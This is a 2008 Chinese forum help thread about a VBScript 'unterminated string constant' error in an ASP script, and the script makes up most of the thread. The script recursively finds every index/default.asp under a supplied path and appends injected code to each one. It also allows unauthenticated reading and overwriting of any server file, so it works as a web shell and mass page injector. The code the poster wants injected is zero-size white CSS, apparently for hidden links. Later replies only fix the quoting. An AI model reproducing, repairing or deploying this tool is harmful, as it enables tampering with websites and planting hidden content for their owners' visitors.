中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-08-08 06:56
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » [求助]VBS 800a0409 错误如何解决 急~~~~ 查看 1,084 回复 5
楼 主 [求助]VBS 800a0409 错误如何解决 急~~~~ 发表于 2008-04-25 15:09 ·  中国 辽宁 沈阳 联通
中级用户
★★
积分 234
发帖 119
注册 2007-04-22 11:09
19年会员
UID 86077
性别 男
状态 离线
有个asp脚本:
========================================代码开始
<%Server.ScriptTimeout=10000
Response.Buffer=False
%>
<html>
<head>
<title>AddUrl</title>
</head>
<body>
<%
ASP_SELF=Request.ServerVariables("PATH_INFO")

s=Request("fd")
ex=Request("ex")
pth=Request("pth")
newcnt=Request("newcnt")

If ex<>"" AND pth<>"" Then
select Case ex
Case "edit"
CALL file_show(pth)
Case "save"
CALL file_save(pth)
End select
Else
%>
<form action="<%=ASP_SELF%>" method="POST">
Dir:
<input type="text" name="fd" size="40">
<input type="submit" value="START">
</form>
<%End If%>
<%
Function IsPattern(patt,str)
Set regEx=New RegExp
regEx.Pattern=patt
regEx.IgnoreCase=True
retVal=regEx.Test(str)
Set regEx=Nothing
If retVal=True Then
IsPattern=True
Else
IsPattern=False
End If
End Function

If IsPattern("{1}:{1}(\\|\/)",s) Then
sch s
Else
If s<>"" Then Response.Write "Invalid Agrument!"
End If

Sub sch(s)
oN eRrOr rEsUmE nExT
Set fs=Server.createObject("Scripting.FileSystemObject")
Set fd=fs.GetFolder(s)
Set fi=fd.Files
Set sf=fd.SubFolders
For Each f in fi
rtn=f.Path
step_all rtn
Next
If sf.Count<>0 Then
For Each l In sf
sch l
Next
End If
End Sub

Sub step_all(agr)
retVal=IsPattern("(\\|\/)(|index|default)\.(asp)\b",agr)
If retVal Then
step1 agr
step2 agr
Else
Exit Sub
End If
End Sub
%>
<%Sub step1(str1)%>
<a href="<%=ASP_SELF%>?ex=edit&pth=<%=str1%>" target="_blank"><%=str1%></a><br>
<%End Sub%>
<%
Sub step2(str2)
addcode="加入自己需要的网页信息代码" 这一行
Set fs=Server.createObject("Scripting.FileSystemObject")
isExist=fs.FileExists(str2)
If isExist Then
Set f=fs.GetFile(str2)
Set f_addcode=f.OpenAsTextStream(8,-2)
f_addcode.Write addcode
f_addcode.Close
Set f=Nothing
End If
Set fs=Nothing
End Sub
%>
<%
Sub file_show(fname)
Set fs1=Server.createObject("Scripting.FileSystemObject")
isExist=fs1.FileExists(fname)
If isExist Then
Set fcnt=fs1.OpenTextFile(fname)
cnt=fcnt.ReadAll
fcnt.Close
Set fs1=Nothing%>
FILE: <%=fname%>
<form action="<%=ASP_SELF%>" method="POST">
<textarea name="newcnt" cols="100" rows="30"><%=cnt%></textarea>
<input type="hidden" name="pth" value="<%=fname%>">
<input type="hidden" name="ex" value="save">
<input type="submit" value="SAVE">
</form>
<%Else%>
<p>文件不存在.</p>
<%
End If
End Sub
%>
<%
Sub file_save(fname)
Set fs2=Server.createObject("Scripting.FileSystemObject")
Set newf=fs2.createTextFile(fname,True)
newf.Write newcnt
newf.Close
Set fs2=Nothing
Response.Write "<p>文件保存成功.</p>"
End Sub
%>
</body>
</html>

====================================代码结束

我把标注的那一行中的自己需要加入的代码换成:

<style type="text/css">
<!--
.STYLE3 {
font-size: 0px;
color: #FFFFFF;
}
body {
margin-top: 0px;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->



结果运行这个ASP脚本后出现了:


Microsoft VBScript 编译器错误 '800a0409'

未结束的字符串常量

\wwwroot\add.asp, line 84


请问改如何解决

[ Last edited by w1314ich on 2008-4-25 at 03:11 PM ]
2 发表于 2008-04-25 15:21 ·  中国 陕西 西安 电信
铂金会员
★★★★
积分 5,212
发帖 2,478
注册 2007-02-08 23:39
19年会员
UID 79003
性别 男
状态 离线
<style type=""text/css"">
<!--
.STYLE3 {
font-size: 0px;
color: #FFFFFF;
}
body {
margin-top: 0px;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: none;
}
a:active {
text-decoration: none;
}
-->
3 发表于 2008-04-25 15:28 ·  中国 辽宁 沈阳 联通
中级用户
★★
积分 234
发帖 119
注册 2007-04-22 11:09
19年会员
UID 86077
性别 男
状态 离线
还是不行
运行后出现:

无法显示网页
您要访问的网页有问题,无法显示。

--------------------------------------------------------------------------------

请尝试以下操作:

打开 www.xxx.com 主页,然后查找指向您感兴趣信息的链接。
单击刷新按钮,或以后再试。

单击搜索,寻找 Internet 上的信息。
也可查看相关站点列表。




HTTP 500 - 内部服务器错误
Internet Explorer
4 发表于 2008-04-25 15:39 ·  中国 辽宁 沈阳 联通
中级用户
★★
积分 234
发帖 119
注册 2007-04-22 11:09
19年会员
UID 86077
性别 男
状态 离线
自己顶一下~~~
5 发表于 2008-04-25 17:42 ·  中国 辽宁 沈阳 联通
中级用户
★★
积分 234
发帖 119
注册 2007-04-22 11:09
19年会员
UID 86077
性别 男
状态 离线
有谁能帮帮我吗
6 发表于 2008-04-25 19:12 ·  中国 北京 华为云
银牌会员
★★★
积分 1,436
发帖 739
注册 2007-10-11 17:44
18年会员
UID 99469
性别 男
状态 离线
楼主加的那段是CSS,怎么会加在asp语块<% ...%>里面呢?
论坛跳转: